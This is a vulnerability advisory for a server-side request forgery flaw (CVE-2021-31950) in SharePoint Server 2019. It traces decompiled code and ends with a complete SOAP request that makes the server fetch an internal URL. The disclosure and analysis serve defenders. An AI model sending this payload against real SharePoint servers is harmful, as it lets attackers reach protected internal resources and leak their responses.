[CVE-2021-31950] Microsoft SharePoint Server - GetXmlDataFromDataSource Server-Side Request Forgery Information Disclosure Vulnerability

   
Discovered 2021-03-06
Author Alex Birnberg
Product SharePoint Server 2019
Tested versions 16.0.10372.20060
CVE CVE-2021-31950

Abstract

This vulnerability allows remote attackers to disclose sensitive information on affected installations of SharePoint Server. Authentication is required to exploit this vulnerability.

The specific flaw exists within the XMLUrlDataAdapter and SoapDataAdapter class. The issue results from the lack of proper validation of the user-supplied URL. An attacker can leverage this vulnerability to execute arbitrary web requests to protected resources and disclose server responses.

Limitations

  • A high percentage of HTML pages can not be leaked using this vulnerability.

Details

The affected class can be found in the Microsoft.SharePoint.Dsp.XmlUrl assembly, as Microsoft.SharePoint.Dsp.XmlUrl.XmlUrlDataAdapter. Below it can be seen that the Query method creates HttpWebRequest object with an abitrary URL.

public QueryResponse Query(QueryRequest Request)
{
  // ...
          if (xmlTextReader.LocalName == "Url" && xmlTextReader.NamespaceURI == "http://schemas.microsoft.com/sharepoint/dsp/xmlurl")
          {
            if (xmlTextReader.MoveToAttribute("href"))
            {
              text = xmlTextReader.Value; // 1
              xmlTextReader.MoveToElement();
            }
            if (xmlTextReader.MoveToAttribute("Method"))
            {
              if (xmlTextReader.Value == "HTTP Post")
              {
                text3 = "POST";
              }
              else
              {
                text3 = "GET";
              }
              xmlTextReader.MoveToElement();
            }
          }
  // ...
        HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(text); // 2
  // ...
}

The URL is extracted from the controllable XML [1], and is later used to create the HttpWebRequest object. The Query method is called from the GetDSPData method of the DataViewWebPart class found inside of the Microsoft.SharePoint assembly.

private static string GetDSPData(IDspAdapter dsp, QueryRequest QueryRequest)
{
  if (dsp == null || QueryRequest == null)
  {
    DataViewWebPart.ThrowDataViewError(null);
  }
  QueryResponse queryResponse = dsp.Query(QueryRequest);
  if (queryResponse != null)

This method is called from the InnerDSPGetData method, inside of the same class which is used to parse [3] and execute [4] the data query.

private static string InnerDSPGetData(XmlDocument dataQueryXml, XmlNamespaceManager nsmgr, SPWeb web, DataViewWebPart wp)
{
  // ...
    if (!DataViewWebPart.DspGatherDSPandQuery(dataQueryXml, nsmgr, web, false, out dsp, out queryRequest, out empty, out lpszDomain, out lpszUsername, out lpszPassword, out flag)) // 3
    {
      DataViewWebPart.ThrowDataViewError(SoapServerException.MakeSoapException(WebPartPageResource.GetString("DataViewNullResponse"), Dvwp.ErrorCodeNullResponse));
    }
  // ...
    result = DataViewWebPart.GetDSPData(dsp, queryRequest); // 4
  // ...
  return result;
}

The InnerDSPGetData method is called from the GetXmlDataFromDataSource web method, found in the class Microsoft.SharePoint.SoapServer.WebPartPagesWebService.

[WebMethod]
public string GetXmlDataFromDataSource(string queryXml)
{
	this.EnsureUserIsAuthenticated();
	this.CheckPermissions();
	SPWeb web = this.CreateWeb();
	string result;
	try
	{
		ULS.SendTraceTag(943285866U, ULSCat.msoulscat_WSS_WebParts, ULSTraceLevel.Medium, "{0}", new object[]
		{
			"Usage: Security - Web Services: GetXmlDataFromDataSource"
		});
		string text = DataViewWebPart.DSPGetData(queryXml, web, null);
		result = text;
	}
	catch (Exception e)
	{
		throw this.HandleException(e);
	}
	return result;
}

The web method is accessible via the Web Part Pages web service. Note that the adjacent class, SoapDataAdapter, can be used instead of the XMLUrlDataAdapter class to send POST requests, without having the limitation of requireing a syntactically correct XML response without DTDs.

Exploitation

The following request triggers a GET request to http://127.0.0.1/.

POST /_vti_bin/webpartpages.asmx HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
SOAPAction: "http://microsoft.com/sharepoint/webpartpages/GetXmlDataFromDataSource"
Host: localhost
Content-Type: text/xml; charset=utf-8
Content-Length: 1299
Connection: close

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetXmlDataFromDataSource xmlns="http://microsoft.com/sharepoint/webpartpages">
      <queryXml>&lt;udc:DataSource xmlns:udc="http://schemas.microsoft.com/data/udc" xmlns:udcs="http://schemas.microsoft.com/data/udc/soap" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dsp="http://schemas.microsoft.com/sharepoint/dsp" xmlns:dataurl="http://schemas.microsoft.com/sharepoint/dsp/xmlurl"&gt;  &lt;udc:ConnectionInfo&gt;    &lt;udcs:Location href=""&gt;XMLURLDataAdapter&lt;/udcs:Location&gt;    &lt;soap:Header&gt;      &lt;dsp:versions&gt;      &lt;/dsp:versions&gt;      &lt;dsp:request method="query" /&gt;    &lt;/soap:Header&gt;    &lt;soap:Body&gt;      &lt;dsp:queryRequest&gt;        &lt;dsp:ptQuery&gt;          &lt;dataurl:Headers&gt;            &lt;dataurl:Url href="http://127.0.0.1/" Method="HTTP Get"/&gt;          &lt;/dataurl:Headers&gt;        &lt;/dsp:ptQuery&gt;      &lt;/dsp:queryRequest&gt;    &lt;/soap:Body&gt;  &lt;/udc:ConnectionInfo&gt;&lt;/udc:DataSource&gt;</queryXml>
    </GetXmlDataFromDataSource>
  </soap:Body>
</soap:Envelope>